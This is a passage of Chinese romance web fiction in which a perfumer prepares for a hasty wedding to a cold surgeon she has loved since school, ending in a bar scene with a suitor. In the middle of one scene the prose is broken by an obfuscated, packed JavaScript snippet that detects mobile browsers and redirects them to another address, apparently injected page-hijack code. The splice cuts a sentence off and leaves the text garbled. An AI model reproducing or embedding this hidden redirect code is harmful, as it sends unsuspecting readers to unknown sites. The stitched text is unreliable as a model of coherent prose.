她多年来已养成习惯,每当灵感片段划过脑海,哪怕是凌晨三点,也会立刻打开备忘录记录下来。 某些零碎的片段有时连她自己也会忘记何时写下,甚至为何写下。 手机屏幕上,一条她并无印象的记录跃入眼帘:“酒香与燃烧感的结合,矛盾中夹杂的独特层次。” 云听仔细盯着这句话,摸不着头脑。 文字间的张力让她停顿了几秒,接着,职业本能驱使她开始思考这句话的含义。 思索间,她再次拿起手机,重新翻阅备忘录。 这条“酒香与燃烧感结合”的记录并非孤立存在。 下方还写着一行小字:“矛盾之中,层次浮现,冷暖交替。” 云听愣了一下,记忆更加模糊。 这或许是她不经意间留下的灵感扩展,但后续未能深入。 她慢慢起身,拿出一瓶自己常用的干邑香调试香,轻轻摇晃后,倒出一滴抹在手腕上,闭上眼靠近嗅闻。 熟悉的香气伴随着细微的酒精挥发感升腾起来,浓郁的果香中杂糅木质气息,令人心头一暖。 云听喃喃自语:“可是,燃烧感呢?” * 辛亦桐过来找她的时候,云听正专注地将淡褐色的精油小心谨慎地滴入试管中。 “云云,是我!快开门!” 闻言,云听放下手中的试管,一瘸一拐地走去开门。 打开门。 “我的天,云云,你这是怎么搞的?”辛亦桐一边说着,一边快步走进屋,“脚都崴了你也不老实待着?” “没什么大碍,已经好多了。” 云听转身回到书桌前,重新拿起调香棒。 辛亦桐看她一脸专注的样子,气不打一处来:“云听,我说你怎么就不能消停一会儿,你真是个不折不扣的工作狂!” “设计香水的前期构思不需要跑实验室,在家也能做。” 辛亦桐一把夺过她手中的调香棒,眉头紧锁:“非要让自己忙到累垮才开心是不是?” 云听伸手去拿被抢走的调香棒,无奈地说:“桐桐,别闹。这种创意稍纵即逝,趁有灵感赶紧记录下来才行。” “灵感灵感,整天灵感!你的灵感就不能等你脚好了再说吗?”辛亦桐气得叉腰盯着她,“你看看别人,脚伤了能光明正大地躺平偷懒。可你呢?脚崴了还在工作,别人还以为你是要冲业绩!” 云听轻笑了一声,伸手从桌边拿过笔记本翻开:“我是调香师,冲业绩跟我没关系。不过,要是这款香水设计成功,倒确实会是一个不错的突破。” 辛亦桐叹了口气,有一种恨铁不成钢的无力感:“我敢打赌,又是因为他吧?” “你别乱说,我只是……” “只是工作狂附体?”辛亦桐不留情拆穿她,“云云,你这是用工作麻痹自己吧。” 她顿了顿,“说吧,你和徐清聿又发生了什么?” 在辛亦桐的搀扶下,云听挪到床边坐下。 她垂下眼睫:“那天晚上酒吧出来,我强吻了徐清聿,我还对他说…我想嫁给他…” 辛亦桐一声惊呼,差点跳起来,“你出息了!” “小点声!”云听伸手拉了拉她的衣袖,“可是我一点印象都没有。” 辛亦桐问:“那徐清聿的反应呢?” 云听无措地低下头:“我不知道,第二天我说…我认错人了…” 辛亦桐嘴角一抽,半天憋出一句: “云云,既然事情已经发展成这样,你姐姐又不喜欢徐清聿,你为什么不直接告诉他呢?” 云听摇头,“徐清聿从那天起就变得好怪,我感觉他总是会莫名其妙生我的气,可是我已经尽量躲着他了…” “徐清聿大概也觉得我冒犯他了吧。” 辛亦桐不知道该如何安慰云听,坐在她身边替她唉声叹气:“你也别钻牛角尖了,徐清聿不喜欢你,是他眼光有问题。” 不出半秒,云听反驳:“他眼光没有问题。” 辛亦桐猛地一拍额头,问:“你有病?” 云听抿嘴,“徐清聿喜欢姐姐,他眼光没有问题。” 辛亦桐:“……” * 辛亦桐下午还有课,中午时分急匆匆走了。 走之前她再三叮嘱:“云云,你脚伤别再乱动,也别工作得太晚了,听见没?” 云听送她到楼梯口:“知道了,慢点走,那我就不送你了。” 辛亦桐前脚刚走,徐淮风回来了。 恍惚中,云听好像看见了8年前的徐清聿。 徐淮风和徐清聿很像。 相比于徐清聿的沉稳,他多了一份清冷的少年感。 如果说徐清聿的冷是历经风霜的白梅,坚韧孤傲中带着一抹暗香。那么,徐淮风的冷是不愿被人触碰的孤傲与矜持,是未曾盛开的冰雪红玫瑰。 也不知道谁能融化冰雪,让这一朵红玫瑰盛开。 徐淮风先打招呼:“云听姐。” 云听回过神来,“小风,你怎么回来了?” “嗯,回来拿点东西。” 门口又出现另一个高大的身影。 祁修泽。 说来也巧,祁修泽是徐淮风的学长,两人的关系似乎不错。 祁修泽见到云听,熟络一笑,“小云,好久不见。” 他解释道:“我找淮风有点事,正好他回家取东西,我也就跟过来了,顺便和你讨论一下香水。” 云听本来正为手上的项目发愁,听他主动提起,顿时眼睛一亮:“真的?我有好多问题想问你。” 徐淮风看了他们一眼,淡淡地嗯了声,随即迈步上楼,修长的身影消失在转角。 “小云,你的脚怎么了?” “没事。” 云听推开房门,“修泽,你要是不介意的话,我们就在这里讨论吧。” 祁修泽稍稍顿了顿,对云听的私人空间保持礼貌的分寸:“你不介意就好。” 两人坐在书桌前,话题从酒香的层次感聊到留香的时间,又从香料搭配谈到香气的扩散效果。 不知不觉间,各种香料交织在一起,房间里的气息愈发浓烈。 祁修泽声线压得很低,耐心分析每一种酒的特点。 云听一边听一边记录。 窗外的天色渐暗,却无人注意。 直到香气变得浓重,云听才停下笔,起身走到窗边,将窗户推开。 凉风灌进来,将空气里的馥郁稀释了几分。 门也被她顺手拉开一条缝。 祁修泽过去扶她。 楼下很热闹,祁修泽侧耳听了片刻,忽然问道:“小云,你姐姐和徐清聿要订婚了吗?” 云听轻声应:“是。” “那你呢?你有喜欢的人吗?” 云听没有回答,目光落在远处渐暗的天际线,脸色难辨。 冷风掠过窗台,将她鬓边的碎发吹起。 祁修泽伸出手,指尖拂过她的发丝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698985|157004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心又克制问:“没有吗?” “有。”云听的声音很轻。 像一片落叶,在风里摇晃,最终悄无声息地落地。 祁修泽慢慢逼近她的底线:“小云,是谁?” 冷风吹动窗帘,将空气中微妙的气氛搅动得更加暧昧不清。 “小云,酒精是一种催化剂,让人卸下防备,裸露出内心深处最本能的渴望。” 祁修泽眯起眼,靠近一步,视线从云听的脸移到她的唇,“很多人会想到…□□,你愿不愿意…大胆一点?” “小云,如果…” “云听。”门外一道冰冷的声音蓦地扎进两人的对话中。 凝滞的空气被划破,徐清聿站在门口,眼神深沉得如积满乌云的天幕,“看来我来得不是时候。” 祁修泽抬眸看去,脸上浮现淡笑,“确实。我和小云正在讨论酒的风味,想来这种话题恐怕不太适合徐医生。” 云听也闻声望去,诧异问:“徐清聿…你怎么来了?” 两人目光碰撞,一触即燃。 徐清聿几步走进来,未等云听明白他的意图,他已经将她打横抱起。 是单手公主抱。 身体失衡,重心下滑,失重的感觉让云听搂住了他的脖子。 “徐清聿,你、你干什么?快放我下来!” 徐清聿垂眸,语气强硬:“别动。” 他另一只手抓起挂在椅背上的大衣。 云听挣扎了一下,无果。 徐清聿的手臂稳得像铁,丝毫没有松开的意思。 她只得硬生生忍住挣扎,咬着唇别过头。 徐清聿抱着她经过祁修泽身边,停了一瞬,淡淡地说:“这是我们家事,不过既然你是云听的朋友,不妨一起听。” 下楼。 云听被徐清聿抱在怀里,整个人蜷缩着,目光不敢朝下看。 三人出现在客厅,所有人都停下手中的动作,目光齐刷刷地望向她们。 云听低头努力降低自己的存在感。 徐清聿对此却浑然不觉。他目不斜视地走到沙发,将她放下,顺手将大衣披在她肩上,“把衣服穿好。” “小听。”徐爷爷环视众人,“今天,趁着大家都在,我有一件重要的事情要宣布。” * 回到房间,云听整个人都是懵的。 云闻和她说话,声音轻飘飘地悬在空中,她抓不住一个字。 “听宝!” 一张与她一模一样的脸贴到她眼前,“你发什么呆?” 云听往后靠了靠,恍然从混沌中拉回思绪,“姐……到底发生了什么?” 云闻直起身子,动作缓慢地摊了摊手:“还能是什么?聿哥主动提的。” “聿哥还说不需要订婚,既然日子合适,直接结婚。” 半晌,云听才找到自己的声音,“他…主动提的?” “是啊。”云闻问,“听宝,你开心吗?” 云听思绪纷乱得找不到方向。 她确实希望能嫁给徐清聿,但当这一切真的摆在面前时,她发现,自己的心情远比想象中复杂得多。 “我是最后一个知道的吧。”云听说,“就像一个局外人,等到所有人都定好了,我才被通知。” 云闻叹气:“听宝,聿哥想和你说的。但是你,一直在躲他不是吗?” 云听心乱如麻,思绪千回百转却无解。 徐清聿为什么要和她订婚? 难道就因为她的醉话,他才提出订婚? 徐清聿不会因为情绪或冲动做决定。可是现在,他真的愿意因为她的一句醉话而踏入婚姻的漩涡吗? 云闻坐在床边叽叽歪歪:“我认识一个医生,聿哥这情况能治,要不然我不会同意你嫁给他。” 云听:“……” 14-20 第14章 第十四章 她对徐清聿,好像真的动心了…… 次日清晨。 南海CBD中心, 璟耀城。 几位服装设计师助理带着各式礼服走进32层,手里捧着各色的面料和饰品。 孟妍指挥大家将衣服一一摆开,暖色调的灯光照在繁复的绸缎上, 璀璨如星河。 其中一位微微躬身,将一件婚纱展示在云听面前:“云小姐,这款裙摆的每颗钻石都是纯手工镶嵌,保证了仪式感。” 礼服镶满了细碎的钻石, 裙摆长而层叠,每走一步都会闪烁耀眼的光芒。 云听接过,指尖划过衣料,质感冰凉。 “太过华丽了。”她摇了摇头,将裙子放回。 “云小姐, 那这一款呢?”另一位年长的走上前,“这套能让您在婚礼上成为最瞩目的存在。” 它是典雅的鱼尾款,裙摆处缀满了细腻的蕾丝和水晶珠,腰线的设计将优雅与高贵展现得淋漓尽致。 云听轻声道:“我想要更简单一点的。” 助理愣了一下,连忙将婚纱收回, 随后展示了另一件蕾丝缀满裙摆的长裙,试探问:“那这件呢?它的设计灵感来源于冰雪与玫瑰,既浪漫又清新……” 云听默不作声。 她的目光流连在众多婚纱中,直到定格在一件极为低调的婚纱上。 米白色的丝绸面料剪裁干净流畅, 肩部是细细的吊带设计,腰线收得恰好, 没有多余的装饰,仅在裙摆处用极细的珍珠线勾勒出几朵简笔花纹,像雪地中含苞待放的花朵。 “这套不错。” “这……”助理犹豫,“云小姐, 这件会不会太过简洁了,婚礼场合恐怕不够隆重……” “婚礼是两个人的事,不需要用华丽的衣服来撑场面,这件刚刚好。” 助理上前接过礼服,将它精心细致地铺展开来。 “那徐先生的衣服呢?”助理询问道。 云听抬起头,沉吟片刻。 徐清聿本有一套深蓝色的西装,是之前设计师为他与云闻的婚礼量身定制的。 然而,新娘已换,他自然需要重新定做。 “这套白色的西装。”半小时后,云听做出决定。 徐清聿清冽的气质,与白色最为相衬。 “再加一枚蓝宝石胸针。”她补充,“细节简单一点。” 助理点头称是,立刻开始量体裁衣。屋子里的人进进出出,气氛热烈,云闻却恍恍惚惚。 昨天晚上。 云听忘了脚伤,倚窗看着漫天的雪光,呆呆地发愣。 踌躇了很久,终于鼓起勇气敲下两行字: 「徐清聿,为什么要和我结婚?」 「为什么直接跳过订婚到结婚?」 语气严肃了些,她发出去后紧张地盯着对话框,掌心冒汗。 过了足足半小时,云听等来徐清聿的回复:「省事」 两个字,冷淡得像外面的风雪,凉到骨子里。 云听看到这句话,心底掠过一丝失望,又觉得这像是他会说的话。 对徐清聿而言,任何繁琐的流程都可以省略。 正当云听还在犹豫要不要继续问时,手机接连震动,他又发来了几条消息: 徐清聿:「设计师为你准备了几款婚纱,明天试」 徐清聿:「你直接帮我选」 徐清聿:「明天七点手术,我不过去」 字里行间是他一贯的语气,精准、直接,没有多余的情感,像是在交代一份事务性的清单。 云听有很多问题,但没有追问下去。 孰轻孰重她拎得清,徐清聿今晚要早点休息,明天的手术不能有分毫差错。 * 等其他人离开后,偌大的空间只剩下云听和孟妍两人。 云听坐在沙发上,半弓身子,手指拨弄着膝上的抱枕。 她回家了。 但她喜欢待在徐宅,但并不是因为徐清聿。更确切地说,不是单纯因为他。 三层的独栋老宅没有重压的目光,也没有孟妍永无止尽的抱怨和批评。 云听接受不了孟妍的强势,从小她和孟妍就不太亲近。 但婚礼倒计时只剩三天,她总归是要回来的。 婚礼细节由孟妍一手操办,匆忙得令人眩晕。因为时间紧张,定制婚纱已经来不及。孟妍便让人送来了几套从国外抢到的限量婚纱。 很巧,每一套婚纱的尺寸都能完美地衬托出她的身材曲线,仿佛为她量身定制一般。 孟妍坐在她身边,云听有意忽视她欲言又止的目光。 孟妍无非想说:“小听,清聿不会喜欢你”、“小听,我和你爸其实不赞成你们的婚姻”、“小听,妈妈是为你好。” 云听儿时便知,孟妍总是以“为你好”作为行事的准则。无论她愿不愿意,只要孟妍认为这是正确的选择,她都无法拒绝。 “为你好。”每当听到这三个字,她的心里就会升起一股无力感和隐隐的反感。 这是一种无法反驳的束缚。 每一次争论都会以她的妥协告终,因为她知道,孟妍是不会听的。 她也明白,孟妍是真的爱她。 她的努力,她的付出,从来不是为了自己。 然而,正是这种无微不至的“为你好”,让云听渐渐失去了做自己的权利。 孟妍眼中的好,从来都不是她想要的好,而她所有的抗拒和不满,似乎都成了“不懂事”的证明。 不想听。 云听把视线移向茶几,那里堆满了孟妍准备好的礼服资料册、婚庆清单。 五分钟后,果不其然,孟妍忍不住了。 她拉住云听的手腕,语调急促:“小听,这次婚礼太突然了,妈尽量把每个细节都准备好,但时间太紧,婚纱也不能挑得太朴素。” 云听诧异:“没关系,就那件吧。” 孟妍一脸着急,仿佛她耽误的不是一件婚纱,而是天大的要事:“清聿忙成那样都惦记着你,这几件限量款婚纱,都是这个冬季最新的系列,是他亲自挑的…” “妈,你说什么?这些婚纱是徐清聿…?” 闻言,云听瞠目结舌,一脸不可置信。 徐清聿怎么会呢? 云闻曾无意提起过,她和徐清聿的婚服交给专业设计师全权负责。 徐清聿自始至终没表现出半点兴趣,连婚纱的成品都不曾过问过,云闻也不愿掺和这样的事情。 可是现在…… 为什么呢? 这一场婚礼在她心里,是期待,是梦想,是遥不可及的祈愿。可同时,又是一个无法融化的雪团,压得她无法呼吸。 云听的一颗心慢慢收紧,她问:“妈妈,您为什么不提早告诉我呢?” “小听,妈以为你会开心的。”孟妍说:“清聿说他会亲口和你说。我看得出,他对你不是没有感情。婚礼直接定了,省了订婚环节,等于节约了麻烦——你觉得哪里不合适吗?” 云听心乱如麻,“可是妈,您为什么会改变主意?” 孟妍目光深沉地看着她,像在回忆,也像在衡量是否该说出口。 许久之后,她才轻轻叹息了一声。 “小听,对不起,之前我不同意你和清聿结婚,是因为我以为他会厌恶调香师这个职业。” 孟妍苦笑:“或许不是厌恶,而是…有心理阴影。” 云听在讶然中沉默,孟妍继续说道:“清聿的老师,为了爱情迷失自我。后来,清聿亲眼看那人结束自己的生命……” * 徐清聿的父母都是医生,平常很忙。他从小被繁忙的父母忽视,成长在冷淡的家庭氛围中。 习惯了独立的他,不爱说话,独来独往。 十一岁的他长得极为漂亮,线条干净又精致。那双眼睛尤其特别,漆黑的瞳孔像夜色中淌着的水光,晃神间让人分不清是男是女。 漂亮的外壳,是一件危险的外衣。 如果只是被高年级的学生拦住,徐清聿未必会束手无策。但事实远不止如此。那次意外,彻底超出了他稚嫩的世界所能承受的范围。 幸运的是,那位调 香师路过。 徐清聿的爸妈当时正在国外参加学术会议,一去就是两个月。而徐爷爷徐奶奶因身体抱恙,对此事一无所知。 至于孟妍为什么知道,是因为她无意间撞见他在心理诊所外等待。 面对孟妍的询问,徐清聿只是淡淡地说,那件事已经过去了,不再对他造成影响。 他说,不必将此事告诉任何人。 孟妍分不清他是释然,还是刻意的伪装。 这一瞒就是17年。 …… 云听的思绪不由得飘到了11年前。 初中时,她成绩好,长得漂亮,深得老师偏爱,也受男生喜欢。这些原本被视为优点的东西,让她成了别人眼中钉。 每次考试后,班里总有同学用嫉妒的目光盯着她的成绩单,冷嘲热讽地说:“有什么了不起的,不过是会考试罢了。” 当她无意间和老师多说了两句话,背后便传来三三两两的窃笑和刻意压低的声音:“看吧,真会装,老师的小宠儿。” 她并不在意这些风言风语,最初她以为,只要沉默就可以化解一切。可她低估了嫉妒能让人做出什么样的事情。 课间,有人故意用笔在她的桌面上画下污言秽语;有人趁她转身去拿书的时候,将水洒在她的凳子上。 甚至有一次,她打开书包时,发现里面被塞满了碎纸片和垃圾。 云听性格并不软,只是远离爸妈,借住在徐宅,云闻又不和她一个学校,她不得不隐瞒,不想给徐爷爷徐奶奶惹麻烦。 后来她忍不住了。 放学后,天色渐暗,云听站在墙角,呼吸急促,手心发烫,那一巴掌的余劲还未散去。 嚣张的女生捂着脸跑远了,肩膀一耸一耸的,哭得断断续续。她的鞋后跟蹭在地上,带起一小片尘土,狼狈又仓皇。 云听甩了甩手指,甩掉那股微微的刺痛,也甩掉心里的烦躁。 脚边堆着几片风卷来的落叶,偶有细碎的声音掠过耳畔。 空气中飘过树叶的清苦味,她低头看着手掌,嘴角勾起。 转过身时,她的脚步一顿。 一个熟悉的身影站在不远处,斜倚着墙,逆光而立,夕阳为他镀了一层柔光。 云听屏住呼吸,下意识地眯了眯眼睛。 徐清聿站得很随意,黑眸却直直地盯着她,像是早就站在那里,看了许久。 云听血液凝固了一瞬。 徐清聿看到了多少? 什么时候来的? 会不会告诉她的爸妈? 无数个问题盘旋而上,云听的心一下子提了起来。 她低下头,目光不敢与他接触,脚尖磨着地面。 想要开口,发现喉咙干得厉害。 刚张开嘴,话又咽了回去。 她没有错,不需要解释。 可面对徐清聿,那种倔强又变得没有底气。 脚步声由远及近,徐清聿走到她面前,停了下来。干净的白色运动鞋映出现在她的视线,鞋带系得整整齐齐。 他问:“手疼吗?” 云听指甲嵌进柔软的校服布料,头摇得很轻。 还没来得及说什么,徐清聿弯下了腰。 云听的瞳孔猛地一缩,抬眼时,看到他伸出手指,在她肩膀上点了一下,又换到她的手臂,再到她的侧腰。 “打这里,不会留下痕迹。” 说完,徐清聿直起身子,收回手,双手插回裤兜,语气平平:“下次不要打脸,难应付。” 云听抬起头,对上徐清聿眼睛。 徐清聿说:“还记得我的手机号吗?” “啊?” 徐清聿垂眸:“我是你的家长,” 他的睫毛很长,眼眸清澈得让人难以挪开视线。 云听觉得心脏猛地跳漏了一拍,又忽然加速,砰砰作响,然后拼命撞破脆弱的壁垒。 那一刻,她无法形容心底涌起的情绪,有羞耻,有慌乱,还有一种未曾体会过的悸动,像野草一样疯狂生长,将她整个包裹住。 徐清聿留给她一个修长的背影,他刻意放慢了步伐。 “云听,回去了。” 云听小跑着追上他,耳根一点一点地发烫。 她对徐清聿,好像真的动心了。 * 孟妍说的话有所保留,很多细节她不想再提及。 哪怕云听心中仍有疑问,但她十分了解孟妍,知道她一旦决定不说,便不会再透露半句。 云听想明白了。 她不想再纠结徐清聿反常的行为,也不想刨根问底为什么云家要和徐家联姻,更不想窥探徐清聿不想让人知道的过往。 她喜欢徐清聿。 每当想起那个黄昏,她的心总是不可抑制地泛起一阵甜意,像有融化的蜜糖慢慢流淌开来,黏黏腻腻地裹住了她整个心脏。 后来,云听试过用手掌去按自己的肩膀,学着他点过的位置轻触,却怎么都找不回当时的感觉。 11年前,他是黄昏下的少年,冷淡却温柔地教她如何保护自己。 多年来,徐清聿是她心里的光,她追逐的方向。 她从未表白过,却从未停止靠近。 现在她终于可以站到他的身边,可以正大光明地牵起他的手。 即使徐清聿不喜欢她。 第15章 第十五章 “云听,张嘴” 云听的脚伤愈得比想象中还要快。 周四清晨, 孟妍已经为她们准备好了早餐。 云听已经很久没有和爸妈、云闻一起吃早饭了。 确切地说,从8岁起,这样的时光屈指可数。 她舀起一勺粥, 低头吹了吹,看到孟妍细心地将牛奶盒倒进玻璃杯,心里有些触动。 餐桌上,孟妍再一次提到买车的话题:“小听, 你还是不打算买车吗?每天打车,很不方便。” 云听抿了口温水:“停车比打车更麻烦,浪费时间,我宁愿花点钱省心。” 云渡也不止一次提议给她安排一个私人司机,说是更体面, 也更安全。眼下,又提了一次。 “爸,我习惯了一个人。”云听咽下嘴里的鸡蛋,“有司机的话,反而束手束脚, 还是现在这样更自由。” “哎呀。”云闻叫停两人的唠叨:“爸妈,等小听结婚了,不还有聿哥吗?你们就别操心了。” 云闻最近在减肥,早餐只有一杯无糖豆浆, 喝完意犹未尽地蹭了一杯云听的牛奶,愤愤不平道:“小听我好羡慕你, 为什么我一喝牛奶就长痘呢?” 她一说完,成功将孟妍的视线转移。 孟妍给她添了一碗小米粥:“小闻,早饭吃这么点怎么行?” 云闻嚷嚷:“……我的腰胖了一公分!不能再吃了!” 孟妍收回小米粥,嫌弃地睨她:“爱吃不吃。” 云闻:“……” 云听眼睛弯弯, 无辜地朝云闻笑。 * 昨日没有下雪,路边的积雪渐渐融化,只剩些许冰水沿着排水沟流淌。 云听停下脚步,将滑落的围巾重新拉起,细致地绕了一圈。 路边的树枝光秃秃的,隐隐透着干枯的苍白。 云听坐在车上,心想,要是徐清聿愿意做她的司机,她倒不如干脆找个司机算了。 到公司后,林悦安静地坐在工位,光明正大追韩剧,云听路过她身边时,闻到了“深海鲸歌”的香味。 她曾经向她推荐过这款甘甜的木质香,没想到林悦会听她的意见。 “深海鲸歌”的调香师是业界另一位赫赫有名的大师牧羊,他调制出来的香水质感非凡,价格也是高得惊人,是奢华的艺术品之一。 看到云听,林悦欲盖弥彰收起手机。 云听抬眸看了她一眼,没说什么。 林悦年纪轻,心性不算恶劣。云听观察了几天,发现她并没有恶意,单纯是大小姐下基层闹点儿小脾气,无伤大雅。 云听回到办公室,刚摘下围巾,林悦后脚迈进。 “怎么了?” 林悦表情似乎有些不情不愿,步伐拖沓走上前:“这个…给的。你看看。” 云听抬眉,伸手接过盒子。 拆开包装后,里面是一瓶包装精美的香水。 桃花形状的玻璃瓶,通透中带有微微的粉色调,瓶盖则点缀金属质感的花瓣 是牧羊的另一款代表作,桃惑。 云听拿起瓶子,闻了闻瓶口,有几分兴趣,“这款香水……是你买的?送我?” 林悦高傲地仰起头,鄙夷地耸了耸肩:“我也不想送,只是我爸妈说,人情世故是必需的。” 云听笑,故作正经地夸赞:“你爸妈的眼光不错,很好闻。” 听完,林悦跺脚,急了,“这是我选的!虽然我不懂香水,但是我觉得它很适合你。” “反正已经送你了,你不能不要,我最讨厌你们这一套推脱来推脱去,最后才勉为其难笑纳的虚假模样。” “嗯。”云听拿起香水,喷了一些在自己的手腕上,她闭上眼睛,感受它初闻及撩人的前调,“谢谢,我很喜欢。” 接受的速度之快让林悦也没有想到。 她站在原地,心里是高兴的。 很高兴,非常高兴。 她的心意被看见,被认可了。 林悦脸一红,退出去之前小声吐槽了句:“妖艳贱货。” 云听:“……” 云听认识的圈内调香师不算少,大多是业内知名的艺术家或新锐创作者。 在别人眼里,云听是属于温润如水、不争不抢的人。 所以他们送给她的香水,无一例外都是淡雅的香调,都是从她气质中提炼出的延伸——温柔的茉莉,清新的铃兰,或是木质感的柠檬香,隐约却不张扬,恰到好处地与她的低调性格融为一体。 这不是云听第一次收到香水,但是“玲珑妩媚,风千万种”的香水是她第一次收到。 果然名副其实,桃惑之名,当得起“大师之作”。 仅仅喷洒在肌肤间,香气便如丝般缠绕,一呼一吸间多了几分旖旎,心绪也泛涟漪。 这香气完美地贴合它的文案: “一抹桃香,三分情动,靠近她,犹如走入一片桃花深处,欲念丛生。” … 林悦的乖巧没持续多久,不到半小时,她和苏黎又因为一份文件的排版争论起来,互不相让。 云听按了按太阳穴,头疼地看着眼前的文案,索性合上了笔记本。 她起身,走到两人身边,笑意不达眼底:“都到我办公室来,我们聊聊。” 关上门,云听转身倚在桌沿,不偏袒任何一人:“团队的协作,不是靠嗓门大小来争出胜负的。你们是彼此的伙伴,不是对手。” 说罢,她让两人互相道歉,才摆摆手示意她们出去。 她叹了口气,整理桌上的文件时,电脑屏幕突然弹出一封新邮件的提醒。 邮件是周之寒发的。 一周前,他只身前往星河,与一位线香非遗传承人洽谈合作事宜,但情况并不乐观。 老太太犹豫不决,而Aurora正在研发的新产品急需她的点香工艺,希望在传统技艺中融入创新元素,让作品走得更远、更长久。 然而要让一个对现代化心存疑虑的传承人从抗拒转为接受,甚至愿意尝试合作,并不是一件简单的事。 云听沉思片刻,回复了几句安慰的话。 不能着急,循序渐进。 * 晚上10:00,云听准备前往Lune Noire酒吧。 她一周前已与祁修泽约好。 鬼使神差的,她在耳后和锁骨处喷了一点香水。 本想随手拿出一件毛衣搭配长裤,却不知为何,手指停在一条挂着许久未穿的粉色裙子上 云听平日穿裙子的次数屈指可数,但这次,或许是桃花香的影响,又或许是某种未明的情绪驱使,她不受控制地伸手将裙子取了下来。 临出门时,孟妍站在客厅,看她披上外套,颇有微词:“小听,结婚在即,别再节外生枝了。你一个未婚姑娘,出入酒吧算怎么回事?再说,这种场合真能有什么灵感?” 云听弯腰提起包,轻声说:“妈,今天的活动是调酒师的创意之夜,每一款酒都是特调限量,错过可能就没机会了。您放心,这只是工作需要,不会有事的。” 孟妍这才勉为其难同意。 路上,云听接了个电话。 电话那头的声音断断续续传来,夹杂嘈杂的人声和隐约的笑语,模模糊糊地飘进她的耳朵。 云闻的声音被背景音压住,她语速很快:“听宝,今晚我不回家了。” 云听无奈笑笑:“姐,我出门了,你自己和爸妈说。” 云闻也不爱回家住,对她来说,夜不归宿是常有的事。 与其住在家里整天听孟妍唠叨,不如想个简单的理由说服徐爷爷徐奶奶,因事不归。 云闻:“哦好。对了,听说今天聿哥在的医院发生了一起纠纷,一家患者的家属带了人去闹事,还动了手。” 听到这话,云听的心一沉。 虽然她知道这种情况并不稀奇,但还是很担心:“没事吧?那…他有没有受伤?” “应该没什么事吧,我听说他是处理了那件事的医生。”云听声音有些含糊,“你也知道,医院现在乱得很,别说医患矛盾,连病房里都常常出事。” “小听,你要是不放心给聿哥打个电话吧。” 电话挂断后,云听的心情无法平复,纠结挣扎半小时,她拨通徐清聿的电话。 “云听,怎么了?” 背景音很安静。 徐清聿的声音低沉又沙哑,有种疲惫的温柔。 云听抿唇:“听说医院出了一点事,你没受伤吧?” 电话那端沉默了一会儿,过了好几秒,徐清聿回:“没事。” 云听稍微松了一口气,心里仍惴惴不安。她忍不住继续问:“是发生了什么事吗?我听说是病人的家属……” “只是些常见的矛盾。”徐清聿顿了顿,不打算细说,“我没直接参与。” “哦,好…”云听不知道该说什么了,每次在徐清聿面前她都磕磕巴巴难以成句,“那、那好吧,晚安。” 徐清聿好像把手机拿得更近了,声音沉得很低,如在耳畔:“嗯,晚安。” 云听先挂断电话。 通话时长1分30秒,她觉得有一个世纪之久。 * Lune Noire是南海一处颇有名气的酒吧,木质的门板和昏黄的灯光将冬夜的寒意隔绝在外。 云听推门而入,热闹的音乐和酒香扑面而来。 祁修泽已经到了。 他站在一处角落,身着黑色风衣,肩宽腿长。 看到云听进来,他嘴角扬起笑意,抬手对她挥了挥。 “抱歉,让你等了。”云听走到他面前,将大衣脱下搭在椅背上,歉意一笑。 “你挺准时的。”祁修泽语气里有几分调侃,“小云,你今天很不一样。” 他凝视云听被冬风吹红的脸颊,耳边的碎发随着动作轻晃,手有点痒。 云听道:“尝试换一种风格。” “今晚的活动主题很特别,听说主打的酒香调很适合你的香水。”祁修泽转移话题,将手边的一张宣传单递给她。 云听接过,目光飞快扫过文字。 上面详细地介绍了几种全新的调酒方式,特别强调酒香和欲望之间的联系。 云听是好奇的。 到底是怎样的气味,才能让人沉醉在欲望之中? 活动的区域被分为几部分,有品酒区、香水展示区以及一个小型舞台。 灯光闪烁,音乐轻快,人们端着各式各样的酒杯三五成群地谈笑,气氛在微醺中格外迷离。 云听在品酒区停下脚步,嗅了嗅摆在面前的几种酒。 第一款是带着焦糖气息的波旁威士忌,浓郁而悠长;第二款则是加入了柑橘皮和少许烟草味的调酒,带着几分刺激与复杂。 “有感觉吗?”祁修泽在她身后低声问。 “有点儿意思。”云听的目光停留在那杯柑橘酒上,手指触碰杯 沿,像是在思索什么。 “云老师,不妨说一下你的体会?” “这两款酒的香气很有层次感,”云听说,“威士忌的焦糖味让人想到温暖和依赖,而柑橘和烟草结合在一起,又有一点不羁的放纵。或许……可以作为香水前调的一种参考。 她打开手机备忘录,在上面记下了几句话。 “你总是这样。”祁修泽看着她低头记录的模样,神情复杂,“把所有的精力都投入到工作里,让人看不透你真正的想法。” 云听不解地抬起头:“我的想法很简单,找到想要的灵感而已。” “就像这次结婚一样,也很简单?”祁修泽开口,说话间有一种隐忍已久的情绪。 云听一怔,随即笑了笑:“修泽,你以为我被逼迫了吗?不是的,这是我的决定。” “你说你…喜欢的人,是徐——” 服务员拿着两杯调酒递给他们,打断两人的谈话:“先生女士,这个不错,你们试试?” 云听摇头:“我就不喝了,待会儿还要整理笔记。” 祁修泽说:“小云,这酒很难得。” 云听来了兴致,“那我试一下?” 不知不觉间,云听已经品尝了四五种不同的酒,每一款都带给她全新的感官体验。 喝着喝着,她的指尖已不听使唤,握着酒杯摇摇晃晃,杯中残余的酒液晃出一圈圈涟漪,她启唇:“修泽,我想我应该回去了。” “小云。”祁修泽下意识地靠近,“你知道吗,这样的你很迷人。” “什么?”云听没听清,转过头。 鼻尖和眼尾红红的。 她想,大概是今晚喝的酒太杂了,什么都尝了一点,多种味道掺和在一起,像是调香时不经意混乱的试验,让她醉得比平时更快。 她回忆着这些味道交织在一起的过程,头脑愈加发胀。 每一杯酒都藏有一种情绪——愉悦、释然、胆怯,期待,在这一夜放大了几倍,让她不知不觉就被带入了醉意之中。 祁修泽眸色渐深,缓缓向她靠近,他的呼吸已经触碰到了云听的发梢。 迷人的桃花香气从她身上传来,萦绕在他的鼻尖,一股看不见的引力拉着他一步步靠近。 